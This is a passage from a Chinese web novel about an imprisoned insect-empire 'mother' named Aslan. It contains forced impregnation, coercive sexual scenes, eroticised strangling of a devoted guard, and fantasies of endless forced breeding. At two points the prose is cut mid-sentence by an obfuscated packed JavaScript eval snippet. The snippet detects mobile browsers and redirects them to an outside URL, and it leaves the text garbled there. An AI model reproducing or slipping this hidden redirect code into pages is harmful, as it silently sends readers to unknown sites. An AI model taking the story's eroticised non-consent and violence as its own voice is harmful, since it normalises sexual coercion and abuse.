“既然您如此渴望被玷污,那就让我来满足您,但不是以您期望的方式。” “我要给您我的卵。” 赫里安抱着虫母的尾巴,排卵管在这一刻成功向里注入了一枚新鲜的虫卵。 与莱昂充满攻击性的基因不同,赫里安的虫卵温和而坚韧,迅速在孕囊中找到了自己的位置,开始吸收母体的营养。 赫里安轻轻抽出排卵管,恭敬地低下头,抚摸阿斯兰的孕肚,手掌下的孕肚比以往更加饱满,他很开心。 阿斯兰全身被冷汗浸透,几乎说不出来话,手臂虚弱,整个人陷在柔软的垫子里。 赫里安七年里所有的恭顺在这一刻被撕碎,露出底下鲜红滚烫的痴迷,那双用来签署帝国政令的手,此刻却摸了摸阿斯兰试图侧开的脸颊,让阿斯兰正视他虫化后更锋利的复眼。 阿斯兰咬紧牙关,黑瞳里是冻结的寒冰,但新虫卵和持续释放的费洛蒙,正在不受控制地泛起背叛意志的软热。 雄虫的虫卵管并未完全收回,仍若有若无地轻触阿斯兰的孕肚。 他低下头,额头抵住阿斯兰的额头,复眼近距离地凝视着阿斯兰漆黑的双眸,仿佛要一直看进他的灵魂深处,或者把自己的灵魂也烙印进去:“妈妈……说您爱我。” “你也配?”阿斯兰冷笑。 “我不配吗?”赫里安反问,手指抚过阿斯兰颈侧的浅淡痕迹,“我的基因足够优秀,我的地位足够尊贵,我对您的忠诚无人能及。我比他们任何人都更了解您,了解这个帝国需要什么,了解您真正想要什么……除了离开。” 他再次逼近,几乎是在耳语,温热的气息拂过阿斯兰的耳廓:“所以,爱上我好吗,妈妈?让我知道,我这七年的痴心妄想,不是彻底的笑话。” 阿斯兰沉默。 见陛下沉默,赫里安眼中闪过一丝偏执的痛楚。 他不再请求,而是吻住了阿斯兰的唇。 阿斯兰的身体僵硬,但孕期的敏感和费洛蒙的影响让他的抵抗变得微弱。 一吻结束,赫里安的复眼深深地看着他,“答应我好吗?妈妈……求您了……爱我好吗?” 阿斯兰终于积蓄起一点气力,他颤抖着抬起手,指尖温柔划过赫里安的脸颊,这个充满母性的动作让赫里安全身一震,终于激动到泪流。 “不可能。” 阿斯兰轻轻推开了他,靠回软垫,抚摸着腹部,神情是一种近乎神性的漠然。 “我永远不会爱你。” 13. 第 13 章 阿斯兰靠回软垫的动作,成了对赫里安最彻底的否定。 赫里安维持着跪姿,连呼吸都变得微不可闻。 他虫化的特征缓缓褪去,复眼恢复成深邃的银灰,只是那里面再无往日的理智光彩,只剩下被彻底碾碎的、深不见底的荒芜。 他用来抚摸阿斯兰脸颊的手,还停留在半空,指尖冰凉。 他的爱被阿斯兰彻底否定和践踏,这比杀了他更残忍。 妈妈……他心狠手辣的妈妈……为什么不爱他?凭什么不爱他?历代的虫母都那么爱子嗣,为什么只有阿斯兰不爱他们? 是不是死在阿斯兰手里,妈妈才会爱他? 是不是强行占有了阿斯兰,通过他的产育道,他才会心甘情愿爱上他? “……好,妈妈。” 良久,赫里安找回了自己的声音,他收回手,缓缓站起身,仿佛刚才那个失态落泪、强行授精的雄虫是另一个人。 “您不爱我,没关系。” “我会继续爱您,就像这七年来,我从未改变过爱您,哪怕对您来说,我的爱只是亿万分之一,但对我而言,爱您是我的全部世界。因为爱着您,我才有活下去的动力,有我在一天,其他雄虫的官职就不可能能越过我接近您。” 他后退两步,再次躬身行礼,姿态完美无瑕,如同过去七年里每一次觐见。 “陛下,您一定会想明白,只有留在这里,您才是最安全的,斐涅尔人给您的爱,一定是全宇宙最珍贵的。” 阿斯兰闭着眼,感受着腹部新增的、属于赫里安的虫卵正在悄然扎根。 那里现在有四颗种子,来自四个截然不同的雄虫,代表着四种不同的欲望和威胁。 死遁计划里出现了预期之外的变数,也很正常。 因为变化只会带来新的可能。 “滚出去。” 赫里安离去时看了一眼艾瑞斯,眼底有暴虐的杀意,但基于虫母对他的宠爱,赫里安只能含恨离去。 “艾瑞斯。”阿斯兰开口,声音有些沙哑。 “陛、陛下!”艾瑞斯慌忙应声,几乎瘫软在地。 “扶我起来,我要沐浴。”阿斯兰命令道,语气恢复了平日的冰冷:“我要洗掉赫里安的恶心气味。” 艾瑞斯连滚爬地起身,搀扶起阿斯兰。 阿斯兰借着他的力量站起,高耸的孕腹让他的动作依旧笨拙缓慢。 他感觉到身体深处传来细微的、属于新生命着床的异样感,以及一种被强行填满后的疲软。 赫里安的信息素还在体内残留,带着一种清冷的苦涩。 阿斯兰冷冰冰地看着自己的肚子,眼底无爱。 沐浴时,阿斯兰靠在温热的池边,任由艾瑞斯用柔软的花瓣和精油擦拭他布满痕迹的身体。 他垂眸看着水中自己肿胀的腹部倒影,手指无意识地划过肚皮。 虫巢王宫内外都被严密把守着,未生产之前,他不可能走出这里。可怕的是,就算他生产,他也不可能走出这里,因为他会一直怀孕,永无止境。 这一切看起来都走入了死局,他已经没有翻身的可能性。 但……脚下这个战战兢兢、却因他一时兴起而被卷入风暴中心的低等蝶族,应该有用。 “艾瑞斯,”阿斯兰的声音在水汽中显得有些飘渺,“你觉得,赫里安宰相,现在是什么心情?” 艾瑞丝沉默了片刻,低声道:“……痛苦,绝望,或许……还有恨。” “恨谁?恨我?还是恨他自己?”阿斯兰轻笑一声,带着冰冷的嘲弄,他缓缓从水中站起,水珠顺着他苍白却因怀孕而丰腴的身体曲线滑落。 “我只是一个虚弱、需要被照顾、并且刚刚被冒犯了的虫母,恨我做什么?” 他裹上柔软的浴袍,走向寝殿内室,步伐缓慢却坚定,他停在巨大的落地镜前,看着镜中那个腹部高耸、银发濡湿、黑眸幽深的自己。 “我按照他们的期待怀孕,幽禁,生产,我只不过是不爱他们,我有什么错?” 阿斯兰的指尖轻轻点在镜中自己的腹部,那里孕育着四个雄虫的野心与欲望,他转过身,看向艾瑞斯,嘴角勾起:“你喜欢我吗?” 艾瑞斯的蝶翅扑簌簌地颤抖着,他爬过去,“我爱您,妈妈,我爱您。” “乖孩子。”阿斯兰用尾巴挑起艾瑞斯的下巴,“作为奖励,你可以吻我。” “我……”艾瑞斯的声音细若蚊蚋,“我不敢亵渎陛下……” “我允许的,就不算亵渎。”阿斯兰的声音很轻,他微微俯身,银发垂落,发梢扫过艾瑞斯的额头,“还是说,你刚才说爱我,是假的?” “不!是真的!是真的!”艾瑞斯急切地否认,像是生怕这唯一的恩宠被收回。 他闭上眼睛,颤抖着凑上前,将自己的唇印上阿斯兰的。 蝴蝶点水一般,艾瑞斯的唇冰凉,带着甜腻花香。 阿斯兰没有回应,只是平静地感受着这个吻,感受着这个低等蝶族献上的、混杂着恐惧、迷恋和一丝侥幸的忠诚。 一触即分。 艾瑞斯飞快地后退,伏在地上,额头抵着冰冷的地砖,身体微微发抖,不知是激动还是后怕。 阿斯兰直起身,尾巴缓缓收回。 他抬手抹了抹自己的嘴唇,动作随意,仿佛只是拂去一粒尘埃。 “很好。”他淡淡评价,听不出喜怒,“记住你是因为我的爱才活下来的。你的生死荣辱,从此系于我身,明白吗?” “明白!明白!谢陛下恩典!谢妈妈垂怜!”艾瑞斯的声音带着哭腔,是劫后余生的庆幸。 阿斯兰不再看他,转身走向寝殿深处那张宽大柔软的床榻。 他确实累了,身体深处新虫卵着床带来的细微胀痛和异样感,以及连续的情绪起伏,都在消耗他的精力。 不过在那之前,他要见一个人。 这个人,也许会帮他彻底离开虫巢王宫。 阿斯兰叫艾瑞斯出宫,去把信放到王都一区的菲罗斯庄园,然后等。 当天夜里,一个声音突兀地在他房间角落响起。 “我亲爱的妈妈,您找我?” 声音仿佛近在耳边,又仿佛从四面八方传来。 更诡异的是,声音响起的地方,空无一物。 阿斯兰睁眼,坐在窗前的床上,静静地看着角落里。 空气中,仿佛有微不可查的波纹荡漾开来,像水面的涟漪,紧接着,一个颀长俊朗的身影缓缓从虚空中浮现出来,像是褪去了一层隐形的外衣。 那是一个极为特殊的雄性斐涅尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248838|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,他身形高挑,面容明逸,复眼的结构与其他虫族相似,但颜色是近乎全黑的墨绿,在光线变化下,会流转出毒液般的幽光。 他的气息完全内敛,站在那里,却仿佛与阴影融为一体,若非主动现身,几乎无法察觉。 隐翅族。 虫族中天赋异禀却又被视为“不祥”与“阴险”的刺客种族,天生拥有极强的光学拟态能力,可完美隐形,且体/液与信息素中蕴含着连高阶虫族都忌惮的剧毒。 阿斯兰看向那个无声无息出现的雄虫,脸上没有任何意外,摆了摆尾巴:“过来。” 缪塞拉缓步走近,停在阿斯兰床前几步远的地方。 他的步伐轻盈得没有一丝声音,微微躬身,动作优雅却带着捕食者般的气息:“您想要什么?” 阿斯兰垂眼,这表情在他苍白的脸上显得有些诡艳:“很简单。你帮我离开这里,摆脱这些令人作呕的守护,获得我想要的自由,或者别的什么。” 缪塞拉向前一步,微微俯身,在阿斯兰耳边,用只有两人能听到的气音,一字一句地说道:“可以。” 阿斯兰问:“你不拒绝?” “不拒绝。” “想要什么条件,你说。” 缪塞拉的声音如同蛛网般轻柔:“条件?我亲爱的妈妈,您就是条件本身,我只要您多看我一眼,别的对我来说都不重要。” 就在这时,寝殿门被猛地推开,梅利亚闯入,虫甲因愤怒而剧烈震动:“什么人闯进虫巢?离开陛下。” 缪塞拉却发出低沉的笑声,他转身时竟主动卸去隐形拟态,将脆弱的颈动脉暴露在梅利亚的枪口下:“看啊妈妈,这就是您最忠诚的侍卫,明明感知到我潜入却迟迟不敢动手,生怕打斗中伤到您珍贵的孕肚。” 他突然伸手抓住梅利亚的枪口,子弹射出,他不动,任由毒血顺着手臂流淌,“他不配说爱您。” 梅利亚的复眼剧烈闪烁:“我不能冒险,陛下怀孕后期受不得惊吓,等虫卵成熟破体,我会以死谢罪。” “所以在你眼里,虫卵比妈妈还重要?” 缪塞拉冷笑着,将另一只虫肢狠狠刺入自己腹部,扯下一段缠绕着神经节的肢体。 鲜血喷溅在阿斯兰的睡袍上,他却仿佛感受不到疼痛,将仍在抽搐的虫肢捧到阿斯兰唇边。 “妈妈你看,他宁愿等合适的时机,而我愿意现在就把血肉献给您……吃下去吧,我的基因能帮您溶解掉您血液里的毒素,您会变得更健康。” 阿斯兰垂眸看着嘴边血淋淋的虫肢,突然轻声笑了。 他没有去碰那截虫肢,而是抬起尾巴尖蘸取一滴缪塞拉的血,缓缓抹在自己苍白的唇瓣上,然后,当着梅利亚和缪塞拉的面,将指尖缓缓含入口中。 他闭上眼睛,长长的银色睫毛在苍白的脸颊上投下阴影,神情专注,仿佛在品味世间最稀有的佳酿。 整个寝殿死寂一片,只能听到他轻微的吮吸声,以及梅利亚和缪塞拉几乎停止的心跳。 片刻,他睁开眼,舌尖轻轻舔过唇角,将那抹蓝色彻底卷走。 他的表情没有任何变化,依旧是那副冷淡疏离的样子。 “味道……”阿斯兰缓缓评价,目光扫过僵直的两人,最终定格在梅利亚惨白的脸上,“也就那样。” 14. 第 14 章 那一截红润的舌尖退回唇缝,缪塞拉的眼神重新燃起狂热的欲望,但他必须忍住。 阿斯兰斜倚在软榻上,一只手慵懒地搭在高耸的孕腹上,指尖轻敲,一边感受着其下生命的脉动,尾巴一边轻轻摆动。 梅利亚认为,虫母那平时柔软、用于表达亲昵的器官,此刻绷紧像是锁链,饱含杀意。 这一刻的阿斯兰,犹如曾经无数次对雄虫展开猎杀时刻前的冷酷。 在试验场的时候,阿斯兰很擅长捕猎、追踪、隐匿,做虫母反而囚禁了他这些出色的军事能力。 否则,所有斐涅尔人都会成为他的果腹之物。 “过来,梅利亚。”阿斯兰的声音很轻,“把你的脖子送进来。” 梅利亚没有半分犹豫,甚至带着一种殉道者般的平静,膝行上前,将脖颈主动送入那银白色的尾圈中,“妈妈,我乖。” 他仰起头,复眼中倒映着阿斯兰垂眸的容颜,发觉那里面没有愤怒,只有一片深不见底的漠然。 收紧。 尾巴缓缓施加压力,虫母动了杀心。 梅利亚的呼吸骤然被掐断,脸颊因充血泛起病态的红,复眼开始上翻,露出可怕的眼白。 但他没有挣扎,双手甚至颤抖着,轻轻环抱住了阿斯兰沉重的孕肚,将脸贴了上去,仿佛那是他最后的圣坛与慰藉。 上方是阿斯兰垂落的视线,目光如同在审视一件无关紧要的物品进行一场庄严的祭献。 虫母的美在此刻达到顶峰——一种剥离了所有温度,纯粹如冰雪、锋利如刃的惊心动魄。 梅利亚趴在阿斯兰的孕肚上,这致命的连接让梅利亚幸福得几乎要哭泣。 啊,妈妈终于触碰他了,用这种暴烈到不容置疑的方式,将他的存在刻入自己的生命轨迹。 窒息感不再是惩罚,而是妈妈独一无二的恩赐,是唯有他才能品尝到的、混合着死亡气息的亲密。 他甚至贪婪地希望这尾巴绞得更紧些,让这痛楚再深刻一些,好在他灵魂上烙印下永不磨灭的印记,证明他曾如此接近过妈妈。 梅利亚这样想着,觉得好幸福好幸福,这是服侍阿斯兰七年来,最幸福的一天。 他的脸紧贴在象征着生命与未来的孕肚上。 被妈妈亲手掌控生死,这难道不是最极致的归属吗? “我是您的……全部都是您的……” 他依恋地看着阿斯兰,“连我的死亡,都只能是您赋予的礼物……我从不后悔放弃领主之位,做您的侍卫……” 他的虫生在此刻圆满了,为妈妈担忧、为妈妈筹划、为妈妈忍受其他雄虫的存在……这一切的忍耐和痛苦,不都是为了最终能像现在这样,完全全地奉献自己吗? 梅利亚的意识渐渐模糊,仿佛要沉入一片温暖粘稠的黑暗之海,但梅利亚的心中只有一片澄澈的幸福。 如果这就是终点,那该多么完美?他甚至开始幻想,妈妈会不会记得他,记得这个心甘情愿在他手中化作尘土的贴身侍卫。 这份幻想,成了他濒临崩溃的意识中,最后一点甘美的余韵。 阿斯兰的心绪平静无波。 他在评估梅利亚忠诚的极限。 “你让我失望了,梅利亚。”阿斯兰的声音在窒息的死寂中格外清晰:“我本以为,你来自于星系边境的领主星,会和王都的雄虫不一样。结果你的忠诚还是像一件行动不便的铠甲,它保护我,也禁锢我,你对我的不忠,让我崩溃。” 梅利亚的喉骨发出咯咯的轻响,他的手指无力地蜷缩,却只能在阿斯兰的腹壁上留下几道浅浅的痕迹。 他哪怕被勒死,也不敢触碰虫母的孕肚。 那样,整群斐涅尔人都不会原谅他。 梅利亚的复眼中倒映着虫母居高临下的身影——银发垂落如星河,黑眸深邃如寒夜,高耸的孕腹在薄纱下勾勒出饱满的弧度,既是生命的温床,也是权力的象征。 “梅利亚,你曾经说过你愿为我死,但现在,我不想要你的命了……” “你愿为我生不如死吗?愿抛弃所有尊严,只做我脚下摇尾乞怜的狗吗?” 濒死的体验放大了所有感官,羞辱与快感交织,几乎要将梅利亚逼疯,他从喉咙深处挤出破碎的呜咽,泪水混合着汗水滑落,疯狂点头。 就在他的意识即将沉入黑暗的前一秒,尾巴的压力骤然消失,松松地圈在他脖子上。 绞杀并未完成,空气涌入肺部的剧痛让梅利亚剧烈咳嗽。 阿斯兰重新靠回软榻,指尖拂过被梅利亚泪水与冷汗濡湿的衣襟,目光投向虚空。 “爬过来。”阿斯兰命令道,声音里带着一丝倦怠。 梅利亚用尽全身力气,支撑起颤抖的身体,依言膝行至床边。 阿斯兰伸出赤足,足尖白皙,趾甲圆润,带着淡淡的莹光。 他用足尖抬起梅利亚的下巴,迫使他涣散的目光重新聚焦。 “记住这种感觉。你的生命,你的呼吸,你的一切,都是我的恩赐,你的生命和价值由我定义,连你的死亡,也只能由我赐予。” 阿斯兰的足尖缓缓下移,掠过喉结,划过胸膛,最终踩在梅利亚的心口,微微施压。 “这里,以后只能为我而跳。” 梅利亚浑身一颤,却没有躲闪,反而伸出手,颤抖着捧住阿斯兰的脚,将脸颊卑微地贴了上去,闭上眼,温柔地啜泣着。 那是一种彻底的臣服,连灵魂都双手奉上的献祭。 “是的……我的妈妈……我是您的了……是我的错……” 梅利亚说这句话时并未设防,整个人沉浸在被彻底接纳、驯服与拥有的虚脱幸福中,颈部两侧用于呼吸的气门微微开合,手臂外侧的棘刺温顺地贴伏着。 因此,他的虫翅没来得及竖起,就那么松弛地垂在身后,脊线从后颈一路向下,嵌入强健背肌的中央,就连覆盖着细密鳞片的尾节,也软软地搭在地毯上。 突然,那圈银白色的尾巴,毫无征兆地,猛然收紧。 这一次,没有试探,没有优雅的施压过程,只有最迅捷的死亡绞索。 “咯啦——” 颈骨断裂的清脆声响,甚至压过了梅利亚喉间尚未完全呼出的叹息。 梅利亚的身体剧烈地一颤,环抱在阿斯兰孕肚上的手臂无力地滑落。 他仰起的脸上,那双因幸福而朦胧的复眼骤然睁大,瞳孔深处倒映着阿斯兰垂落的面容。 骤然达到顶峰的狂喜,凝固在他生命最后一刻的虹膜上。 阿斯兰看着这双眼睛,心绪依旧没有什么波澜。 梅利亚没有挣扎,只是用尽最后一点力气,让逐渐涣散的目光,牢牢锁在阿斯兰脸上,嘴角轻笑。 那是一个心满意足的笑容。 然后,那最后一点光,熄灭了。 梅利亚的身体彻底软倒,头颅歪向一边,紧贴着阿斯兰的孕肚,像一个终于找到归宿的倦怠幼虫。 阿斯兰缓慢地抽回了自己的尾巴,银白的尾尖沾染了少许血迹。 他垂眸看了一眼,然后随意地甩了甩,仿佛只是沾上了什么微不足道的东西。 梅利亚,这个陪伴了他七年的高等领主,曾经向他许诺,愿为他付出一切,他信了。 从那之后,阿斯兰允许他陪伴在左右,不论做什么都日夜相随,给了他足够的信任与纵容,对他不再设防,甚至在午夜被噩梦惊醒时,还会抱着他求安慰,轻轻地唤他“梅”。 可是,自从他的第一次发情期后,梅利亚眼睁睁看着莱昂强上了他,又看着不同的雄虫逼他怀孕,还在那些毫无尊严的孕期检查里当帮凶,他这样做,伤透了阿斯兰的心。 梅利亚此刻躺在他的孕肚上,看起来异常安静,甚至比活着时总是压抑着痛苦与忠诚的模样,更显得顺眼。 阿斯兰伸出手,冰凉的指尖抚过梅利亚尚且温热的眼皮,替他合上了那双至死凝望着自己的眼睛。 “现在,”阿斯兰低声自语,“你永远不会背叛我了,梅。” 他扯过丝被的一角,盖住了梅利亚的上半身,也遮住了那刺目的血迹和扭曲的脖颈。 缪塞拉不知何时已悄然退至最深的阴影中,紧紧盯着软榻上那位刚刚完成了一场绞杀的虫母。 是啊,这具美丽的皮囊之下,沉眠的从来不是任人摆布的温顺母体,而是曾令试验场所有猎物战栗的、顶级掠食者的灵魂。 他们心狠手辣的妈妈。 “收拾干净。”阿斯兰闭上眼,不再看地上那具迅速冰凉下去的躯体。 “是,我亲爱的妈妈。”阴影中传来缪塞拉压抑的声音,如同毒蛇滑过枯叶。 至于梅利亚……缪塞拉想,他应该是幸福的吧。 毕竟他终于得偿所愿,死在了妈妈手里。 对每一个斐涅尔人而言这真是,再好不过的幸福结局啦。 * 梅利亚的死讯迅速传开,整个虫巢王宫乃至虫族的星系都得知了此事。 虫母时隔七年又残杀了一个忠心耿耿的斐涅尔人,据说只是孕期心情不好,杀了之后都没吃,就直接顺着窗户扔了出去。 埃德蒙听到了消息,在狱中放肆大笑,笑声在狭窄的囚室里回荡,带着金属栅栏震颤的余音。 他倚靠在冰冷的墙壁上,指尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17248839|197904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摩挲着手腕上抑制信息素的镣铐,欲望更加旺盛,手却无论如何也碰不到那里。 孕期的虫母,杀伤力不减当年。 狱室外的走廊传来沉重的脚步声,两个巡逻的守卫压低声音交谈: “听说了吗?梅利亚大人……直接被绞碎了颈骨。” “不止,据说尸体从主塔窗户丢下去时,虫母连看都没看一眼。” “杀了又怎样?虫母在孕期,整日不能出门,情绪波动,杀几个雄虫也正常,谁敢要虫母负责一个雄虫的性命?” “嘘——别乱说。” 埃德蒙能想象出阿斯兰挺着孕肚绞杀梅利亚的画面,那真是……孤高冷傲,无情美艳。 梅利亚那蠢货,恐怕死时还带着幸福的表情吧? “情绪波动……”埃德蒙轻声重复守卫的话,笑意更深了,“不对,不对。亲爱的,你不是在发泄情绪。” 他太了解阿斯兰了。 阿斯兰从来不是什么温顺的孕育者,他是试验场里最出色的猎手,是能用残缺的尾巴绞碎虫族脖子的最强者,那些斐涅尔人总以为自己驯服了他,却不知道他们圈养的从来不是羔羊,而是一头极其富有战略思维的头狼领袖。 是的,阿斯兰不是不知道虫族会因此加强警戒,对他严加看管,但他仍然杀了梅利亚。。 妈妈一定是在测试雄虫们到底能容忍他到什么程度,如果斐涅尔人们一次又一次地退让,他甚至有可能趁着孕期逃跑。 真是死性不改啊,阿斯兰。 他那具看似柔弱的、被当作孕育容器的身体,居然还保留着杀戮的本能。那条半残的尾巴已经连玻璃水杯都挑不起来,居然还有杀死雄虫的力气? 估计所有的斐涅尔人今夜都在思考一个问题——要用怎么样的方式才能征服虫母呢? 看来,要把他的手和脚都绑上了,直至生产。 怀孕。 生产。 再度怀孕。 再度生产。 永永远远。 埃德蒙能听见低等巢区的工虫们在交流着: “把妈妈锁起来,用最柔软的星蚕丝……不,用我们的涎液和甲壳熔铸的合金,把妈妈的手腕和脚踝都裹住,裹成漂亮的茧……” “不止手脚,信息素腺体,那个总是泄露甜美气息的地方也要封住,用我们特制的蜡,只在我们需要的时候,才允许它流出恩赐……” “把妈妈关在透明的营养舱里吧,让他悬浮着,永远浸泡在安眠和催产的液体里……那样就不会乱跑,不会杀人……只会发情,怀孕,生产,再发情,怀孕,生产……” 中层的士兵和侍从们想法则更具体: “监控需要升级,在妈妈的皮下植入生物芯片,链接母巢主脑,妈妈的每一丝激素波动都要实时监控,否则会影响虫蜜的产量。” “妈妈的孕期情绪不稳是隐患,应该周期性使用信息素调节剂,强制进入平静、受孕、生产的生理循环,剔除不必要的情绪干扰因素。” “是啊,必须制定无缝衔接的再受孕方案,确保虫母的孕育机能始终处于峰值利用率,将妈妈的精神与虫群意志更深捆绑,他就愿意怀孕了。” 而高高在上的权力者们在想什么呢? 埃德蒙想,也许,莱昂想要驯服阿斯兰,要妈妈主动伸出双手,乞求他锁上镣铐。 赫里安想要打造黄金囚笼,让阿斯兰“自愿”走进去,还要所有人为他的深谋远虑而鼓掌。 奥瑟可能会想做妈妈唯一的保护者,哪怕妈妈恨他,也想要妈妈离开他就会枯萎的“爱”。 而埃德蒙……他想要阿斯兰的身体和灵魂都渴望他、依赖他…… 虫族的意念连接成一片网。 此时此刻,所有纷乱、黑暗、充满占有欲的思绪,最终都汇聚成同一个梦想,在无数斐涅尔人脑海中盘旋: 虫母被妥帖地安置在一个绝对安全、绝对舒适、也绝对无法离开的地方。 他的手腕和脚踝上有精致的束缚。 他美丽而苍白的身体,因持续不断的孕育而始终丰腴,象征着永不枯竭的恩赐。 他或许会安静地沉睡,或许会偶尔睁眼,那双黑眸里不再有冰冷的抗拒,只有驯从的、甚至是温柔的柔顺。 然后,生产,休养,再度受孕,再度生产……周而复始,生生不息,永永远远。 这个画面,是如此地符合虫族对母神最深层的、最本能的期待,又是如此地……抹杀了虫母作为“阿斯兰”的一切叛逆。 多么美好的妈妈啊。 它像一颗甜美的种子,在所有斐涅尔人心中生根发芽。 15. 第 15 章 阿斯兰在柔软的丝绒靠垫上缓缓调整了一下姿势,让沉重的孕腹找到更舒适的支点。 他听见了,那些通过信息素网络传来的“声音”。 他们想绑住他,用丝,用合金,用律法,用愧疚,用名为“爱”的毒瘾。 他们想要一个柔顺、丰产、永恒的母亲? 不可能。 但是换个角度想,生育是危机,也是机会。 接下来,他会有剧烈的生理变化,会有新生的虫卵,他的身体会因为孕育虫卵而变得脆弱,必然会有虚弱期。 那么,所有这些都会打乱现有的监控和守卫节奏。 届时,混乱之中,他就能接触到来往的全新医疗虫员,或许还有特殊的物资,得到和外界沟通的通讯窗口。 他需要现在就为那个时刻铺路。 比如,开始挑剔现任医疗官拉诺的手法,为将来更换人选埋下伏笔。 时间不多了,在肚子大到彻底无法灵活行动之前,在那些雄虫因梅利亚之死而达成新的监控共识之前,他必须布好局。 系统要他等纯血新王出现,要他等一场戏剧性的死亡,他可以等。 但他有权力选择自由的等,而非被囚禁的等。 腹中的虫卵又动了一下,四颗卵挤挤挨挨着,把他的肚皮又撑起来。 第一枚虫卵可能在五天内出生,他的动作要快一些了。 阿斯兰缓缓睁开眼,看向阴影中无声等待下一步指令的缪塞拉。 缪塞拉·菲罗斯。 这个名字在舌尖滚过,带着试验场尘埃与血腥气的回忆。 在所有人都认为隐翅族是阴险、狡诈、只配躲在阴影里的不祥种族时,只有阿斯兰见过他真实的模样。 不是在排行榜上,而是在边境矿星的废墟里。 那是一次超出试验场范围的野外生存评估,名义上是考核,实则是将一群尚未完全驯化的高等虫族幼苗投放到危机四伏的蛮荒星球,让他们自相残杀。 常年霸榜的莱昂、梅利亚、埃德蒙、奥瑟等人飞快占领高地。 阿斯兰记得,当时他为了追踪一头稀有的晶甲兽,脱离了小组,深入一处被巨型星兽盘踞的峡谷。 他看到了一头足以轻易撕碎重型机甲的成年“腐渊吞噬者”,它布满肿瘤般肉瘤的庞大身躯倒在峡谷深处,还活着,巨大的口器开合,但它的十几只复眼已经全部被刺穿,节肢关节被逆向折断,一道平滑得不可思议的切口,沿着它柔软的腹部中线,将它开膛破肚。 阿斯兰抬起头,看见了站在星兽小山般头颅上的缪塞拉。 缪塞拉在看见他的一瞬间露出了人形外貌,墨绿复眼深潭静水般深邃,黑发在暗淡的天光下泛着幽冷的光泽,背后的虫翅收拢,边缘沾染着星兽的血液。 他手里握着的不是制式武器,而是两把从他自身前肢关节处延伸出来的骨质短刃,姿态松弛,却带着一种顶级掠食者特有的隐匿感。 似乎是察觉到了窥视,缪塞拉突然转过头,看向了阿斯兰藏身的方向。 那一刻,阿斯兰没有感到被发现的恐慌,反而看到了同类——他们都擅长隐藏,擅长观察,擅长在最关键的时刻,发出致命的一击。 收回飘远的思绪,阿斯兰恢复意识。 所以,缪塞拉对虫母的狂热痴迷,究竟有多少是基于虫族本能对虫母的渴求,又有多少是源于试验场时期,对“阿斯兰”这个特殊存在的辨认与执着? 或许,兼而有之? 但正是这种复杂性,让缪塞拉变得可用,他需要一把这样的刀。 一把足够锋利,足够隐蔽,并且刀柄只能握在他自己手中的刀。 “缪塞拉。” “我在,妈妈。”隐翅族如鬼魅般滑近,单膝触地,姿态恭顺,眼神却贪婪地吞噬着阿斯兰每一个高傲的表情。 “你觉得,梅利亚的位置,该由谁来接替?” 缪塞拉的复眼飞快地闪烁了一下,舌尖轻舔过自己锋利的齿尖,“妈妈,不如选我?” “很有趣的建议。”阿斯兰说道,没有肯定,也没有否定:“如果我能恢复自由,我可以考虑让你随侍在我身旁。” “是,妈妈,我会配合您达成目标,您的自由,让我来想办法,届时,请您兑现您的承诺。”缪塞拉恭敬地行礼,身影如同融入水中的墨汁,悄然消失在阴影里。 寝殿重归寂寞,阿斯兰的目光投向窗外,那片被虫巢结构切割成的星空。 缪塞拉或许确实是一步好棋,但棋子,永远不能只有一颗。 他需要更多的“意外”,更多的“混乱”,更多看似顺从实则步步为营的铺垫。 首先,他需要一场“病”。 一场合理的病,需要特殊照料和隔离的病,能让目前的常规监控暂时失效的“孕期并发症”。 第一步就是替换掉那群该死的蜂族医疗官,换上蝶族的艾瑞斯。 阿斯兰按了按自己腹部侧后方。 那地方靠近生殖腺体,是信息素分泌的次级节点之一,稍微过度的刺激,就会让他陷入假性发情期,同时伴有高热和局部信息素失控。 效果立竿见影。 首先是难以抑制的燥热涌起,迅速蔓延至四肢百骸。 阿斯兰苍白的皮肤泛起的潮红,呼吸变得急促,银发被薄汗浸湿,贴在额角和颈侧。 接着是信息素——原本被他刻意压制、只在特定时刻释放的浓郁甜香,如同被打翻的蜜罐,不受控制地弥漫开来,瞬间充斥了整个寝殿,透过门缝和通风系统向外扩散。 那是虫母的发情信号,这味道对于任何成年雄虫而言,都无异于最烈性的催情剂和集结号。 尤其是想到虫母怀着孕,满腹都孕育着虫族的未来的样子…… 几乎是在信息素爆发的下一秒,寝殿外的走廊就传来了骚动。 守卫们的信息素被瞬间引动,发出粗重的喘息和不安的低吼。 “是妈妈——妈妈发情了——” “天哪,这味道……我的唧唧要炸了——” “不能进去!没有命令不能——滚开!让我进去!妈妈在叫我!” 守卫们的理智正在以肉眼可见的速度崩溃,有人死死抓着墙壁,掰弯自己站起来的唧唧;有人跪倒在地,用额头撞击地板,试图用疼痛对抗本能的召唤;还有人已经开始互相撕咬,用争斗来宣泄无处安放的狂热。 而这一切,只是开始。 因为虫母的信息素,并不会只停留在一条走廊里。 * 与此同时,王宫各处。 莱昂正在军务厅签署一份调令,他的笔尖刚触到纸面,忽然顿住。 空气中飘来一丝若有若无的甜香,他的复眼骤然收缩,瞳孔缩成两道细线。 “这是……” 话没说完,信息素的浓度陡然飙升,像有人在他脑子里直接点燃了一把火。 不是那种被雄虫诱导的、被迫的、屈辱的发情——而是真正自发的发情期,来自虫母本能的召唤。 